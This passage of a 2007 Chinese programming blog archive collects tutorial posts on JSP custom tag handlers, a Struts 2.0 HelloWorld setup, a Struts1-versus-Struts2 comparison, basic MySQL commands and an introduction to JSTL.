    3.在web.xml文件中配置<tag>元素
    4.在JSP文件中引人标签库
    *************************************************************************************


    五、TagSupport类简介:
    *************************************************************************************
    1.处理标签的类必须扩展javax.servlet.jsp.TagSupport.
    2.TagSupport类的主要属性:

    A.parent属性:代表嵌套了当前标签的上层标签的处理类
    B.pageContex属性:代表Web应用中的javax.servlet.jsp.PageContext对象

    3.JSP容器在调用doStartTag或者doEndTag方法前,会先调用setPageContext和setParent方法,设置pageContext和parent。因此在标签处理类中可以直接访问pageContext变量

    4.在TagSupport的构造方法中不能访问pageContext成员变量,因为此时JSP容器还没有调用
       setPageContext方法对pageContext进行初始化
    *************************************************************************************


    六、TagSupport处理标签的方法:
    *************************************************************************************
    1.TagSupport类提供了两个处理标签的方法:
       public int doStartTag() throws JspException
       public int doEndTag()    throws JspException

    2.doStartTag:但JSP容器遇到自定义标签的起始标志,就会调用doStartTag()方法。    
       doStartTag()方法返回一个整数值,用来决定程序的后续流程。
       A.Tag.SKIP_BODY:表示<prefix:someTag>…</prefix:someTag>之间的内容被忽略
       B.Tag.EVAL_BODY_INCLUDE:表示标签之间的内容被正常执行

    3.doEndTag:但JSP容器遇到自定义标签的结束标志,就会调用doEndTag()方法。doEndTag
       ()方法也返回一个整数值,用来决定程序后续流程。
        A.Tag.SKIP_PAGE:表示立刻停止执行网页,网页上未处理的静态内容和JSP程序均被
          忽。略任何已有的输出内容立刻返回到客户的浏览器上。
        B.Tag_EVAL_PAGE:表示按照正常的流程继续执行JSP网页
    *************************************************************************************


    七、用户自定义的标签属性:
    *************************************************************************************
    如果在标签中还包含了自定义的属性,例如:
    <prefix:Mytag attribute1="value1">
         ...
    </prefix:Mytag>
    那么在标签处理类中应该将这个属性作为成员变量,并且分别提供设置和读取属性的方法。
    *************************************************************************************


    八、创建标签处理类的步骤:
    *************************************************************************************
    1.创建包含JSP网页静态文本的文件(即是要替换自定义JSP标签的文本)
    2.在Web应用启动时装载静态文本
    3.创建标签处理类
    *************************************************************************************


    九、如何创建包含JSP网页静态文本的文件:    
    *************************************************************************************
    1.使用java.util.Properties类来存放要替换网页中自定义JSP标签的静态文本
    2.Properties类代表了一系列属性的集合,其实例既可以被保存到流中,也可以从流中加  
       载。这些文本以key/value的形式存放在WEB-INF目录下,例如key=value,在属性列表中
       这些key/value都是String类型的
    *************************************************************************************

    十、Properties类的常用API:
    *************************************************************************************
    1.setProperty(String key, String value):调用Hashtable类的put方法添加属性
    2.getProperty(String key):获取属性列表中key对应的属性值
    3.load(InputStream in):从输入流对象InputStream中读取属性列表(Properties list)
    4.store(OutputStream out,String comment):使用适当的格式将属性列表的属性对写入输
       出流对象中,默认使用ISO-88590-1编码格式,以行的方式处理输入。属性的key/value之
       间以”=、:”配对,以回车、换行分隔key/value对
    *************************************************************************************

    十一、ServletContext类的常用API:
    *************************************************************************************
    1.getContext(String uripath):返回服务器中uripath所代表的ServletContext对象
    2.getInitParameter(String name):返回ServletConfig对象中name参数的值
    3.getMineType(String file):返回file参数代表的文件的MIME类型
    4.getRequestDispatcher(String path):返回path代表的RequestDispacher对象
    5.getResourceAsStream(String path):以输入流的形式返回path对应的资源,在输入留中对象可以为任意形式的数据,path参数必须以“/”开始且相对于Context Root
    *************************************************************************************

    十二、如何使用ServletContxt读取并保存属性文件:
    *************************************************************************************
    1.创建java.util.Properties类对象
    2.获取ServletContext对象
    3.将属性文件以输入流的形式读入到某个输入流对象中
    4.将输入流对象加载到Properties对象中
    5.将Properties对象保存到ServletContext对象中
    *************************************************************************************

    十三、如何在Web应用启动时装载静态文本:
    *************************************************************************************
    1.创建继承了HttpServlet类的子类,在web.xml中配置这Servlet时设置load-on-startup属性:
    <servlet>
    <servlet-name>someclass</servlet-name>
    <servlet-class>somepackage.SomeClass</servlet-clas
    <load-on-startup>1</load-on-startup>
    </servlet>
    2.在这个Servlet的init()方法中创建java.util.Properties类
    3.获取当前Web应用的ServletContext对象
    4.将WEB-INF目录下的属性文件读入到输入流InputStream中:
    InputStream in = context.getResourceAsString("WEB-INF/someproperties.properties");
    5.将输入流加载到属性对象中
           ps.load(in);        
    6.将属性对象保存到上下文中。
    context.setAttribute("attributeName",ps);
    *************************************************************************************

    十四、如何创建标签处理类:
    *************************************************************************************
    1.引入必需的资源:
           import javax.servlet.jsp.*;
         import javax.servlet.http.*;
         import java.util.*;
         import java.io.*;
    2.继承TagSupport类并覆盖doStartTag()/doEndTag()方法
    3.从ServletContext对象中获取java.util.Properties对象
    4.从Properties对象中获取key对应的属性值
    5.对获取的属性进行相应的处理并输出结果
    *************************************************************************************

    十五、创建标签库描述文件(Tag Library Descriptor):
    *************************************************************************************
    1.标签库描述文件,简称TLD,采用XML文件格式,定义了用户的标签库。TLD文件中的元素可以分成3类:
         A.<taglib>:标签库元素
         B.<tag>:标签元素
         C.<attribute>:标签属性元素

    2.标签库元素<taglib>用来设定标签库的相关信息,它的常用属性有:
         A.shortname:     指定Tag Library默认的前缀名(prefix)
         B.uri:             设定Tag Library的惟一访问表示符

    3.标签元素<tag>用来定义一个标签,它的常见属性有:
         A.name:         设定Tag的名字
         B.tagclass:     设定Tag的处理类
         C.bodycontent:     设定标签的主体(body)内容
                 1).empty:表示标签中没有body
                 2).JSP:表示标签的body中可以加入JSP程序代码
                 3).tagdependent:表示标签中的内容由标签自己去处理

    4.标签属性元素<attribute>用来定义标签的属性,它的常见属性有:
         A.name:属性名称
         B.required:属性是否必需的,默认为false
         C.rtexprvalue:属性值是否可以为request-time表达式,也就是类似于<%=…%>的表达式
    *************************************************************************************

    十六、在Web应用中使用标签:
    *************************************************************************************
    1.如果Web应用中用到了自定义JSP标签,则必须在web.xml文件中加入<taglib>元素,它用于声明所引用的标签所在的标签库
         <taglib>
             <taglib-uri>/sometaglib</taglib-uri>
             <taglib-location>/WEB-INF/someTLD.tld</taglib-location>
         </taglib>

    2.<taglib-uri>:设定Tag Library的惟一标示符,在Web应用中将根据它来引用Tag Libray
    3.<taglib-location>:指定和Tag Library对应的TLD文件的位置
    4.在JSP文件中需要加入<% @ taglib% >指令来声明对标签库的引用。例如:
    <% @ taglib prefix = “somePrefix” uri = "/someuri" %>

    5.prefix表示在JSP网页中引用这个标签库的标签时的前缀,uri用来指定Tag Library的标识符,它必须和web.xml中的<taglib-uri>属性保持一致。
    *************************************************************************************
    posted @ 2007-08-14 10:05 jadmin 阅读(66) | 评论 (0)编辑 收藏
     
    posted @ 2007-08-14 09:21 jadmin 阅读(59) | 评论 (0)编辑 收藏

    JSP2.0中为了简化标签的复杂性,增加了制作Simple Tag的标签类SimpleTagSupport类。
    SimpleTagSupport类是实现SimpleTag接口的。它只需要实现一个doTag()方法即可,而不需要一堆回传值。

    举例说明:
    例1:HelloSimpleTag标签
    第一步:制作标签处理类
    HelloSimpleTag.java

    package com.newould.taglib;

    import java.io.*;
    import javax.servlet.jsp.*;
    import javax.servlet.jsp.tagext.*;

    public class HelloSimpleTag extends SimpleTagSupport {

    public void doTag() throws JspException, IOException {
      
          JspWriter out = getJspContext().getOut();
          out.println("Hello Simple Tag");
    }
    }

    第二步:编写标签性质文件
    MyTaglib.tld

    <?xml version="1.0" encoding="UTF-8" ?>

    <taglib xmlns="http://java.sun.com/xml/ns/j2ee"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee web-jsptaglibrary_2_0.xsd"
           version="2.0">
        
           <description>My Taglib by JavaWorld.com.tw</description>
           <tlib-version>1.0</tlib-version>
           <jsp-version>2.0</jsp-version>
           <short-name>Mytaglib</short-name>
           <uri></uri>
    ......

    <tag>
             <description>Hello Simple Tag</description>
             <name>HelloSimpleTag</name>
             <tag-class>com.newould.taglib.HelloSimpleTag</tag-class>
             <body-content>empty</body-content>
           </tag>
    </taglib>

    第三步:编写Jsp网页
    HelloSimpleTag.jsp

    <%@ page contentType="text/html;charset=GB2312" %>
    <%@ taglib uri="/WEB-INF/tlds/MyTaglib.tld" prefix="mytag" %>

    <html>
    <head>
    <title>HelloSimpleTag.jsp</title>
    </head>
    <body>

    <h2>Simple Tag 标签</h2>

    <h1><mytag:HelloSimpleTag /></h1>

    </body>
    </html>

    =================================================================

    例2:AddSimpleTag标签
    第一步:制作标签处理类
    AddSimpleTag.java

    package com.newould.taglib;

    import java.io.*;
    import javax.servlet.jsp.*;
    import javax.servlet.jsp.tagext.*;

    public class AddSimpleTag extends SimpleTagSupport {

    private int num1 = 0;
    private int num2 = 0;

    public void setNum1(int num1) {
          this.num1 = num1;
    }

    public void setNum2(int num2) {
          this.num2 = num2;
    }

    public void doTag() throws JspException, IOException {

          JspContext ctx = getJspContext();
          JspWriter out = ctx.getOut();
       
          int sum = num1 + num2;
          ctx.setAttribute("sum", Integer.toString(sum));
      
          out.println(num1 + " + " + num2 + " = " + sum);
    }
    }

    第二步:编写标签性质文件
    MyTaglib.tld

    <?xml version="1.0" encoding="UTF-8" ?>

    <taglib xmlns="http://java.sun.com/xml/ns/j2ee"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee web-jsptaglibrary_2_0.xsd"
           version="2.0">
        
           <description>My Taglib by JavaWorld.com.tw</description>
           <tlib-version>1.0</tlib-version>
           <jsp-version>2.0</jsp-version>
           <short-name>Mytaglib</short-name>
           <uri></uri>
    ......

    <tag>
             <description>Add Simple Tag</description>
             <name>Add</name>
             <tag-class>com.newould.taglib.AddSimpleTag</tag-class>
             <body-content>empty</body-content>
          
             <attribute>
               <name>num1</name>
               <required>true</required>
               <rtexprvalue>true</rtexprvalue>
             </attribute>

             <attribute>
               <name>num2</name>
               <required>true</required>
               <rtexprvalue>true</rtexprvalue>
             </attribute>
                
           </tag>
       
    </taglib>

    第三步:编写Jsp网页
    AddSimpleTag.jsp

    %@ page contentType="text/html;charset=GB2312" %>
    <%@ taglib uri="/WEB-INF/tlds/MyTaglib.tld" prefix="mytag" %>

    <html>
    <head>
    <title>AddSimpleTag.jsp</title>
    </head>
    <body>

    <h2>AddSimpleTag 标签</h2>

    <h1><mytag:Add num1="5" num2="9" /></h1>

    最后结果:${sum}

    </body>
    </html>

    =================================================================

    例3 RepeatSimpleTag标签
    RepeatSimpleTag标签 主要是用来重复显示某段文字。
    这个例子在处理上与前两个例子有点不同

    第一步:制作标签处理类
    RepeatSimpleTag.java

    package com.newould.taglib;

    import java.io.*;
    import javax.servlet.jsp.*;
    import javax.servlet.jsp.tagext.*;

    public class RepeatSimpleTag extends SimpleTagSupport {

    private int count = 0;//重复的次数
    private JspFragment fragment;//重复的内容

    public void setCount(int count) {
          this.count = count;
    }

    public void setFragment(JspFragment fragment) {
          this.fragment = fragment;
    }

    public void doTag() throws JspException, IOException {

          JspContext ctx = getJspContext();
          JspWriter out = ctx.getOut();
       
          for(int i=0 ; i<count ; i++) {
           fragment.invoke(null);//表示将fragment的内容显示出来
          }
    }
    }

    第二步:编写标签性质文件
    MyTaglib.tld

    <?xml version="1.0" encoding="UTF-8" ?>

    <taglib xmlns="http://java.sun.com/xml/ns/j2ee"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee web-jsptaglibrary_2_0.xsd"
           version="2.0">
        
           <description>My Taglib by JavaWorld.com.tw</description>
           <tlib-version>1.0</tlib-version>
           <jsp-version>2.0</jsp-version>
           <short-name>Mytaglib</short-name>
           <uri></uri>
    ......

    <tag>
             <description>Repeate Simple Tag</description>
             <name>Repeat</name>
             <tag-class>com.newould.taglib.RepeatSimpleTag</tag-class>
             <body-content>empty</body-content>
          
             <attribute>
               <name>count</name>
               <required>true</required>
               <rtexprvalue>true</rtexprvalue>
             </attribute>

             <attribute>
               <name>fragment</name>
               <required>true</required>
               <fragment>true</fragment>
             </attribute>
           </tag>    
       
    </taglib>

    注意:<fragment>true</fragment>,一定要这样设定fragment属性。

    第三步:编写Jsp网页
    RepeatSimpleTag.jsp

    <%@ page contentType="text/html;charset=GB2312" %>
    <%@ taglib uri="/WEB-INF/tlds/MyTaglib.tld" prefix="mytag" %>

    <html>
    <head>
    <title>RepeatSimpleTag.jsp</title>
    </head>
    <body>

    <h2>RepeatSimpleTag 标签</h2>

    <mytag:Repeat count="5" >
    <jsp:attribute name="fragment">
    重复执行 ....<br>
    </jsp:attribute>
    </mytag:Repeat>
    </body>
    </html>

    =================================================================

    DynamicAttributes接口
    只要制作的标签实现了DynamicAttributes接口就有动态属性的功能。
    例如:我们要做多个数的累加运算,则AddSimpleTag标签就可以通过实现DynamicAttributes接口就可以实现了.

    实现DynamicAttributes接口,必须实现setDynamicAttributes()方法,此方法用来接收动态属性.

    举例:第一步:制作标签处理类

    package com.newould.taglib;

    import java.io.*;
    import java.util.*;
    import javax.servlet.jsp.*;
    import javax.servlet.jsp.tagext.*;

    public class DynamicAdd extends SimpleTagSupport implements DynamicAttributes {

    //用来接收动态属性
    private ArrayList keys = new ArrayList();
    private ArrayList values = new ArrayList();

    public void doTag() throws JspException, IOException {

          JspContext ctx = getJspContext();
          JspWriter out = ctx.getOut();
       
          float num = 0;
          float sum = Float.parseFloat((String)values.get(0));
          out.print(sum);
       
          for (int i = 1 ; i < keys.size() ; i++) {
           String temp = (String)values.get(i);
           num = Float.parseFloat(temp);
           sum = sum + num;
           out.print(" + " + num);
          }
       
          out.print(" = " + sum);
          ctx.setAttribute("sum", Float.toString(sum));
       
    }

    public void setDynamicAttribute(String uri, String name, Object value) throws JspException {
          keys.add(name);
          values.add(value);
    }
    }

    第二步:编写标签性质文件
    <tag>
             <description>DynamicAttribute</description>
             <name>DynAdd</name>
             <tag-class>com.newould.taglib.DynamicAdd</tag-class>
             <body-content>empty</body-content>

             <dynamic-attributes>true</dynamic-attributes>
           </tag>    

    第三步:编写Jsp网页
    <%@ page contentType="text/html;charset=GB2312" %>
    <%@ taglib prefix="JSPBook" tagdir="/WEB-INF/tags/" %>
    <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>

    <html>
    <head>
    <title>CH16 - DynAdd.jsp</title>
    </head>
    <body>

    <h2>Tag File 范例</h2>

    <JSPBook:DynAdd num1="111" num2="222" num3="444" >

    <jsp:attribute name="great">
          <font color="red">SUM:${sum} ...</red>
    </jsp:attribute>
    <jsp:attribute name="less">
          <font color="blue">SUM:${sum} ...</red>
    </jsp:attribute>
    </JSPBook:DynAdd>

    </body>
    </html>
    JSP2.0中为了简化标签的复杂性,增加了制作Simple Tag的标签类SimpleTagSupport类。
    SimpleTagSupport类是实现SimpleTag接口的。它只需要实现一个doTag()方法即可,而不需要一堆回传值。

    posted @ 2007-08-14 09:19 jadmin 阅读(77) | 评论 (0)编辑 收藏

    struts2.0简单的例子

    今天在apache网站上无意中看到了struts项目2.0.1正式发布了,怀着欣喜的心情我下载了stuts2.0.1完整包。 Struts2.0.1是struts项目和WebWork2.2项目的合并版本,集成了两大流行MVC框架的优点,对struts框架来说是一个大的提升,同时也更大程度地简化了开发人员的开发过程。我简单地研究了一下这个新版本,现在给大家介绍一个入门级的小例子,希望能对学习这个新版本的朋友有点帮助。
    这个例子完成了一次URL调用返回结果页面的过程。
    首先,要从apache网站上下载struts2.0.1的完整包(可以从这里下载:http://struts.apache.org/downloads.html),解压后需要找到下列几个文件:
    commons-logging-1.0.4.jar
    freemarker-2.3.4.jar
    ognl-2.6.7.jar
    struts2-api-2.0.1.jar
    struts2-core-2.0.1.jar
    xwork-2.0-beta-1.jar
    然后,我们就开始做第一个例子,我们就使用经典的“HelloWorld”的名字吧!
    1. 制作目录结构
    如下图所示:
    stuts2是web应用的根目录。
    2. 拷贝引用文件
    将上面列举的jar文件拷贝到步骤1中制作的目录struts2\WEB-INF\lib中。
    3. 制作jsp文件HelloWorld.jsp

    <%@ taglib prefix="s" uri="/struts-tags" %>
    <html>
    <head>
    <title>Hello World!</title>
    </head>
    <body>
    <h2><s:property value="message" /></h2>
    </body>
    </html>

    将该文件拷贝到步骤1中制作的目录struts2\example中。
    4.制作java文件HelloWorld.java

    package example;

    /** *//**
    * <code>Set welcome message.</code>
    */

    import com.opensymphony.xwork2.ActionSupport;
    public class HelloWorld extends ActionSupport ...{

    public static final String MESSAGE = "Struts is up and running ...";

    public String execute() throws Exception ...{
    setMessage(MESSAGE);
    return SUCCESS;
    }


    private String message;

    public void setMessage(String message)...{
    this.message = message;
    }


    public String getMessage() ...{
    return message;
    }

    }

    使用下面的命令编译这个java文件:
    set CLASSPATH=yourdirectory\xwork-2.0-beta-1.jar
    javac HelloWorld.java
    将编译后的HelloWorld.class文件拷贝到步骤1中制作的目录struts2\WEB-INF\classes\example中。
    5.制作web应用的描述文件web.xml

    <?xml version="1.0" encoding="UTF-8"?>
    <web-app xmlns="http://java.sun.com/xml/ns/j2ee"
           xmlns:xsi
    ="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation
    ="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
           version
    ="2.4">

    <display-name>Struts Blank</display-name>

    <filter>
    <filter-name>struts2</filter-name>
    <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
    </filter>

    <filter-mapping>
    <filter-name>struts2</filter-name>
    <url-pattern>/*</url-pattern>
    </filter-mapping>

    <welcome-file-list>
    <welcome-file>index.html</welcome-file>
    </welcome-file-list>
    </web-app>

    将该文件拷贝到步骤1中制作的目录struts2\WEB-INF中。
    6.制作MANIFEST.MF文件(从其它地方随便找一个即可)
    将该文件拷贝到步骤1中制作的目录struts2\META-INF中。
    7.制作struts配置文件struts.xml和struts.properties
    struts.xml文件:

    <!DOCTYPE struts PUBLIC
    "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
    "http://struts.apache.org/dtds/struts-2.0.dtd"
    >
    <struts>
    <package name="abc" namespace="/example" extends="struts-default">
    <action name="HelloWorld" class="example.HelloWorld">
    <result>/example/HelloWorld.jsp</result>
    </action>
    <!-- Add your actions here -->
    </package>
    </struts>

    struts.properties文件:
    struts.devMode = true
    struts.enable.DynamicMethodInvocation = false
    将这两个文件拷贝到步骤1中制作的目录struts2\ WEB-INF\classes中。
    好了整个例子的文件我们都搞定了。
    最后,你可以将制作好的web应用struts2拷贝到tomcat下运行。
    访问http://localhost:8080/struts2/example/HelloWorld.action如果能够看到页面上的“Struts is up and running ...”提示信息说明你的例子是正确的。

    Struts2与Struts1的对比

    (转自:javaeye)

    Action 类:
    • Struts1要求Action类继承一个抽象基类。Struts1的一个普遍问题是使用抽象类编程而不是接口。
    • Struts 2 Action类可以实现一个Action接口,也可实现其他接口,使可选和定制的服务成为可能。Struts2提供一个ActionSupport基类去实现 常用的接口。Action接口不是必须的,任何有execute标识的POJO对象都可以用作Struts2的Action对象。

    线程模式:
    • Struts1 Action是单例模式并且必须是线程安全的,因为仅有Action的一个实例来处理所有的请求。单例策略限制了Struts1 Action能作的事,并且要在开发时特别小心。Action资源必须是线程安全的或同步的。
    • Struts2 Action对象为每一个请求产生一个实例,因此没有线程安全问题。(实际上,servlet容器给每个请求产生许多可丢弃的对象,并且不会导致性能和垃圾回收问题)

    Servlet 依赖:
    • Struts1 Action 依赖于Servlet API ,因为当一个Action被调用时HttpServletRequest 和 HttpServletResponse 被传递给execute方法。
    • Struts 2 Action不依赖于容器,允许Action脱离容器单独被测试。如果需要,Struts2 Action仍然可以访问初始的request和response。但是,其他的元素减少或者消除了直接访问HttpServetRequest 和 HttpServletResponse的必要性。

    可测性:
    • 测试Struts1 Action的一个主要问题是execute方法暴露了servlet API(这使得测试要依赖于容器)。一个第三方扩展--Struts TestCase--提供了一套Struts1的模拟对象(来进行测试)。
    • Struts 2 Action可以通过初始化、设置属性、调用方法来测试,“依赖注入”支持也使测试更容易。

    捕获输入:
    • Struts1 使用ActionForm对象捕获输入。所有的ActionForm必须继承一个基类。因为其他JavaBean不能用作ActionForm,开发者经常创建多余的类捕获输入。动态Bean(DynaBeans)可以作为创建传统ActionForm的选择,但是,开发者可能是在重新描述(创建)已经存在的JavaBean(仍然会导致有冗余的javabean)。
    • Struts 2直接使用Action属性作为输入属性,消除了对第二个输入对象的需求。输入属性可能是有自己(子)属性的rich对象类型。Action属性能够通过 web页面上的taglibs访问。Struts2也支持ActionForm模式。rich对象类型,包括业务对象,能够用作输入/输出对象。这种 ModelDriven 特性简化了taglib对POJO输入对象的引用。

    表达式语言:
    • Struts1 整合了JSTL,因此使用JSTL EL。这种EL有基本对象图遍历,但是对集合和索引属性的支持很弱。
    • Struts2可以使用JSTL,但是也支持一个更强大和灵活的表达式语言--"Object Graph Notation Language" (OGNL).

    绑定值到页面(view):
    • Struts 1使用标准JSP机制把对象绑定到页面中来访问。
    • Struts 2 使用 "ValueStack"技术,使taglib能够访问值而不需要把你的页面(view)和对象绑定起来。ValueStack策略允许通过一系列名称相同但类型不同的属性重用页面(view)。
     
    类型转换:
    • Struts 1 ActionForm 属性通常都是String类型。Struts1使用Commons-Beanutils进行类型转换。每个类一个转换器,对每一个实例来说是不可配置的。
    • Struts2 使用OGNL进行类型转换。提供基本和常用对象的转换器。

    校验:
    • Struts 1支持在ActionForm的validate方法中手动校验,或者通过Commons Validator的扩展来校验。同一个类可以有不同的校验内容,但不能校验子对象。
    • Struts2支持通过validate方法和XWork校验框架来进行校验。XWork校验框架使用为属性类类型定义的校验和内容校验,来支持chain校验子属性

    本文转自:http://blog.csdn.net/paulsen1980/archive/2007/05/18/1614643.aspx

    posted @ 2007-08-13 02:29 jadmin 阅读(56) | 评论 (0)编辑 收藏
    1、web.xml文件
    <?xml version="1.0" encoding="UTF-8"?>
    <web-app id="WebApp_ID" version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
    <display-name>
    struts2</display-name>
    <filter>
    <filter-name>struts2</filter-name>
    <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
    </filter>
    <filter-mapping>
    <filter-name>struts2</filter-name>
    <url-pattern>/*</url-pattern>
    </filter-mapping>
    <welcome-file-list>
    <welcome-file>index.html</welcome-file>
    <welcome-file>index.htm</welcome-file>
    <welcome-file>index.jsp</welcome-file>
    <welcome-file>default.html</welcome-file>
    <welcome-file>default.htm</welcome-file>
    <welcome-file>default.jsp</welcome-file>
    </welcome-file-list>
    </web-app>

    其中,绿底色的部分是通用的部分。

    2、struts.xml文件
    这个文件的配置是最为重要的,也是比较容易出问题的地方,初学者对其中很多的参数不太明白,导致调试时候经常出错。下面先给出一个配置的代码:
    <!DOCTYPE struts PUBLIC
    "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
    "http://struts.apache.org/dtds/struts-2.0.dtd">
    <struts>
    <include file="struts-default.xml"/>
    <package name="package1" extends="struts-default">
    <action name="Hello" class="tutorial.HelloWorld">
    <result>HelloWorld.jsp</result>
    </action>
    <action name="HelloWorld" class="package1.HelloWorld">
    <result>HelloWorld.jsp</result>
    </action>
    </package>
    </struts>
    1)对于<include file="struts-default.xml"/>这行代码,可以要也可以不要。
    2)package的name是可以虚构的,并不一定要在classes目录下要有一个与这个name名对应的包名;像上面的配置文件中的name="package1"可以随便改成name="aaa"等是不影响结果的,只不过这个package名可以使得多个action聚合在一起,对大型的模块设计的时候是很有帮助的。
    3)<action name="HelloWorld" class="package1.HelloWorld">中的HelloWorld这个name并不一定要与package1包中的类名相同,比如<action name="Hello" class="tutorial.HelloWorld">这样两个名字完全不一样是可以的,但是"Hello"这个name必须与输入的jsp页面里面的action内容是一致的,如<s:form action="Hello">
    4)从上面的配置文件可以看出,在classes目录下面有两个包,一个是tutorial,一个是package1。

    3、struts.properties文件
    这个文件最简单,它与struts.xml文件一样,都是位于classes目录下面。其内容为:
    struts.devMode = true
    struts.enable.DynamicMethodInvocation = false的

    4、建议初学者先看看为Struts 2.0做好准备这篇文章,这里每个步骤讲的非常的详细,但是有些细节作者没有写出来,让很多初学者调试的时候出很多错误,比如The requested resource (/项目名/HelloWorld) is not available.,java.lang.NullPointerException等等。
    1)关于工具web tools platform,这是一个eclipse集成了很多web开发下所需工具的一个比较好的平台,它在eclipse的网站下面http://www.eclipse.org/webtools/有下载。打开这个页面的右边download栏目下面有wtp的下载,点击这个去下载,如果不行,就再仔细找找了。
    2)如果出现The requested resource (/项目名/HelloWorld) is not available.的话,就仔细找找看是不是输入的时候把配置文件等等地方写错了,对于初学者最容易把其中的字母搞错,比如struts是不写成了其它的形式,反正出现这个错误就是说访问的资源不存在,那就肯定要么是配置文件出错了,要么是你的类文件没有放在classes目录下面,无外这两种情况。错了不要紧,没有错误,哪会有进步呢。
    3)如果你真的发现什么错误都没有,但就是尽管调试了半天还是调试不成功,那就考虑你的JDK版本是不是和你下载的wtp搭配了,建议把原来低版本的JDK卸载,装上新去下载的JDK,写这篇博客时,最新版本是jdk-1_5_0_10。如果还不行,你就把tomcat或者其它的web服务器换版本,总之要不怕错误和失败,要勤于不断的调试。
    posted @ 2007-08-13 01:41 jadmin 阅读(44) | 评论 (0)编辑 收藏


    启动服务:
    1通过控制面板里的服务选项
    2通过命令行
     net start mysql    ->启动数据库
     net stop mysql     ->关闭数据库

    连接数据库
    mysql -u用户名 -p密码

    查看服务器上当前存在什么数据库
    show databases;

    创建数据库
    create database 数据库名;
    如我要创建一个名为gbook的数据库 
    create database gbook;

    删除数据库
    drop database 数据库名;
    如:
    drop database gbook;

    选择要使用的数据库
    use 要使用的数据库名;
    如:
    use gbook;

    查看当前使用的数据库中存在的表
    show tables;

    创建一个数据库表
    create table person
    {
        id varchar(32) not null primary key,
        name varchar(20) not null,
        password varchar(20) not null
    };

    显示数据库中某个表的结构
    describe 表名;

    导入数据库创建脚本文件命令(如D:\mysql.sql)
    先建立一个空数据库->选择它->导入脚本命令 如:
    create database gbook;
    source d:/mysql.sql;

    删除表
    drop table 表名;

    删除数据库中某表的全部记录
    delete from 表名;
    如:
    delete from gbook;

    向表中插入数据(以前面的person表为例)
    insert into 表名 values(对应的数据值);
    如:
    insert into person values('LXH','李兴华','moolee');

    更新表中的数据
    update person set password='zzzzz';

    查看当前数据库服务器的版本
    select version();

    查看数据库服务器上的所有用户
    select user();

    查看当前日期时间
    select now();

    使用load命令向数据库的表中插入数据
    load data local infile '路径' into table 表名;
    如:
    load data local infile 'f:/person.txt' into table person;
    person.txt中则单纯的列出了许多表中的对应数据,如:
    mldn         陈华   1569
    god          黄雨   123456
    admin        陈天赐  admin888

    列出表中所有记录
    select * from 表名;
    如:
    select * from person;

    从表中只选择特定的行
    select * from person where id='lxh';
    select * from person where id='lxh' and name='李兴华';

    选择表中特定的列(可以是多列哦,记得以,分开)
    select name from person;

    用distinct检索出每个唯一的输出记录
    select distinct name from person;

    计算总的记录数
    select count(*) from person;
    count()函数是查询数据库中的指定表有多少列

    posted @ 2007-08-12 23:21 jadmin 阅读(58) | 评论 (0)编辑 收藏
    JSTL是一个不断完善的开放源代码的JSP标签库,是由apache的jakarta小组来维护的。JSTL只能运行在支持JSP1.2和Servlet2.3规范的容器上,如tomcat 4.x。但是在即将推出的JSP 2.0中是作为标准支持的。

    JSTL 1.0 发布于 2002 年 6 月,由四个定制标记库(core、format、xml 和 sql)和一对通用标记库验证器(ScriptFreeTLV 和 PermittedTaglibsTLV)组成。core 标记库提供了定制操作,通过限制了作用域的变量管理数据,以及执行页面内容的迭代和条件操作。它还提供了用来生成和操作 URL 的标记。顾名思义,format 标记库定义了用来格式化数据(尤其是数字和日期)的操作。它还支持使用本地化资源束进行 JSP 页面的国际化。xml 库包含一些标记,这些标记用来操作通过 XML 表示的数据,而 sql 库定义了用来查询关系数据库的操作。

    两个 JSTL 标记库验证器允许开发人员在其 JSP 应用程序中强制使用编码标准。可以配置 ScriptFreeTLV 验证器以在 JSP 页面中禁用各种类型的 JSP 脚本元素 — scriptlet、表达式和声明。类似地,PermittedTaglibsTLV 验证器可以用来限制可能由应用程序的 JSP 页面访问的定制标记库集(包括 JSTL 标记库)。

    尽管 JSTL 最终将会成为 J2EE 平台的必需组件,但目前只有少数应用程序服务器包括它。JSTL 1.0 的参考实现可作为 Apache 软件基金会(Apache Software Foundation)的 Jakarta Taglibs 项目(请参阅参考资料)的一部分而获得。可以将该参考实现中的定制标记库合并到任何支持 JSP 1.2 和 Servlet 2.3 规范的服务器,以添加对 JSTL 的支持。

    如果要使用JSTL,则必须将jstl.jar和 standard.jar文件放到classpath中,如果你还需要使用XML processing及Database access (SQL)标签,还要将相关JAR文件放到classpath中,这些JAR文件全部存在于下载回来的zip文件中。这个zip文件可以从http://jakarta.apache.org/builds/jakarta-taglibs/releases/standard/jakarta-taglibs-standard-1.0.zip下载

    JSTL的优点
    1、 在应用程序服务器之间提供了一致的接口,最大程序地提高了WEB应用在各应用服务器之间的移植。
    2、 简化了JSP和WEB应用程序的开发。
    3、 以一种统一的方式减少了JSP中的scriptlet代码数量,可以达到没有任何scriptlet代码的程序。在我们公司的项目中是不允许有任何的scriptlet代码出现在JSP中。
    4、 允许JSP设计工具与WEB应用程序开发的进一步集成。相信不久就会有支持JSTL的IDE开发工具出现。
    posted @ 2007-08-09 17:20 jadmin 阅读(36) | 评论 (0)编辑 收藏
    见过的没见过的在线制作图标的网站太多了.在这里做个汇总.有新的还会继续添加.有好的也有差的.美与丑请自己甄别.因为每个人的审美观点不同.

    站点一 http://www.nhacks.com/email/

       支持多种域名的Email图标的生成。

